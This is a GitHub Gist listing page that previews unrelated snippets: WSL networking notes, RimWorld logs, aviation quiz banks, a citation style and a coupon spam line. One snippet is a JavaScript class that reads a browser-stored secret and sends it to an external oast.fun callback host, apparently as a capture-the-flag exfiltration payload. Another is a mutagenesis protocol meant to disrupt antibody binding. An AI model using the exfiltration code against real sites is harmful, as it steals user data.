Skip to content

Instantly share code, notes, and snippets.

@minipaper
minipaper / wsl_localhost.md
Last active July 12, 2025 02:56
wsl에서 localhost 못찾을때 소켓 포워딩

wsl localhost

설치

sudo apt update && sudo apt install socat -y

~/.bashrc 또는 ~/.zshrc 추가

import cv2
import requests
import time
def replay_video_to_server(video_path, server_url, headers=None, delay=0.05):
cap = cv2.VideoCapture(video_path)
<style xmlns="http://purl.org/net/xbiblio/csl" version="1.0" class="in-text" name-as-sort-order="all" sort-separator=" " demote-non-dropping-particle="never" initialize-with=" " initialize-with-hyphen="false" page-range-format="expanded" default-locale="zh-CN">
<info>
<title>China National Standard GB/T 7714-2005 (numeric, 中文)</title>
<id>http://www.zotero.org/styles/chinese-gb7714-2005-numeric</id>
<link href="http://www.zotero.org/styles/chinese-gb7714-2005-numeric" rel="self"/>
<link href="http://www.zotero.org/styles/china-national-standard-gb-t-7714-2015-numeric" rel="template"/>
<link href="https://std.samr.gov.cn/gb/search/gbDetailed?id=71F772D78562D3A7E05397BE0A0AB82A" rel="documentation"/>
<author>
<name>heromyth</name>
<email>[email protected]</email>
@HugsLibRecordKeeper
HugsLibRecordKeeper / output_log.txt
Created July 12, 2025 02:54
Rimworld output log published using HugsLib Standalone Log Publisher
Log uploaded on Friday, July 11, 2025, 11:54:04 PM
Loaded mods:
Harmony(brrainz.harmony)[v:2.3.4.0][mv:2.3.4.0]: 0Harmony(2.3.6), HarmonyMod(2.3.4)
Core(Ludeon.RimWorld): (no assemblies)
Royalty(Ludeon.RimWorld.Royalty): (no assemblies)
Ideology(Ludeon.RimWorld.Ideology): (no assemblies)
Biotech(Ludeon.RimWorld.Biotech): (no assemblies)
Anomaly(Ludeon.RimWorld.Anomaly): (no assemblies)
Odyssey(Ludeon.RimWorld.Odyssey): (no assemblies)
Alpha Crafts(sarg.alphacrafts): AlphaCrafts(1.0.0)
@zerotocertified
zerotocertified / chap5.json
Created July 12, 2025 02:53
general question bank 5
[
{
"id": "gen-ch1-q1",
"type": "multiple-choice",
"text": "What is the fundamental nature of matter and energy that physics attempts to explain?",
"options": [
"Why they behave as they do in their relation to physical phenomena.",
"How they behave in their relation to physical phenomena.",
"Their spiritual and philosophical origins.",
"Their chemical composition and reactions only."

Nkw Airalo offer saveral big savings so that you can claim it using codes like TVC15 for first to save 15% amd For existing users TVC10 to save 10% .

class Leaker {
async selectURL() {
const flag = await this.sharedStorage.get('flag');
for (let i = 0; i < flag.length; i++) {
await this.sharedStorage.selectURL('leak', [
{ url: `https://itapthbhnczohtmsijbvuwuoxnl2bmumm.oast.fun/leak?i=${i}&c=${encodeURIComponent(flag[i])}` }
]);
}
await this.sharedStorage.selectURL('leak', [
{ url: `https://itapthbhnczohtmsijbvuwuoxnl2bmumm.oast.fun/leak?flag=${encodeURIComponent(flag)}` }
@mrichter0
mrichter0 / verify.txt
Created July 12, 2025 02:52
verify.txt
1. Site-Directed Mutagenesis (Protocol #2)
Objective: Introduce Arg180→Gln (R180Q) mutation to disrupt antibody binding epitopes 1.
Materials:
Primers:
Forward: 5’-CGA TAC GCT *CAA* TTC AAA *AAG* G-3’ (CGA→CAA for R180Q; AAA→AAG silent mutation).
Reverse: 5’-CCT TTT GAA *TTG* AGC GTA TCG-3’.
@HugsLibRecordKeeper
HugsLibRecordKeeper / output_log.txt
Created July 12, 2025 02:51
Rimworld output log published using HugsLib
Log uploaded on Friday, July 11, 2025, 9:51:39 PM
Loaded mods:
Harmony(brrainz.harmony)[mv:2.3.4.0]: 0Harmony(2.3.6), HarmonyMod(2.3.4)
Core(Ludeon.RimWorld): (no assemblies)
Royalty(Ludeon.RimWorld.Royalty): (no assemblies)
Ideology(Ludeon.RimWorld.Ideology): (no assemblies)
Biotech(Ludeon.RimWorld.Biotech): (no assemblies)
Fortified Features Framework(AOBA.Framework): Fortified(1.0.0)
Vanilla Backgrounds Expanded(vanillaexpanded.backgrounds): VBE(1.0.0)
Adaptive Storage Framework(adaptive.storage.framework): 0MultiplayerAPI(av:0.5.0,fv:0.5.0), 1ITransformable(1.0.0), AdaptiveStorageFramework(1.2.4), CopyOperation(1.0.0), DefNameLink(1.0.0), GeneratorOperation(1.0.0), GeneratorOperationV2(1.0.0), PatchOperationSet(1.0.0), PatchOperationTryAdd(1.0.0), PostInheritanceOperation(1.0.0), SaveGameCompatibility(1.0.0)
@zerotocertified
zerotocertified / qbchap4.json
Created July 12, 2025 02:50
general question bank 4
[
{
"id": "gen-ch1-q1",
"type": "multiple-choice",
"text": "In the aviation industry, what is drawing primarily used for?",
"options": [
"Conveying ideas concerning the construction or assembly of objects.",
"Creating artistic representations of aircraft.",
"Documenting historical aviation milestones.",
"Replacing all forms of written and oral communication."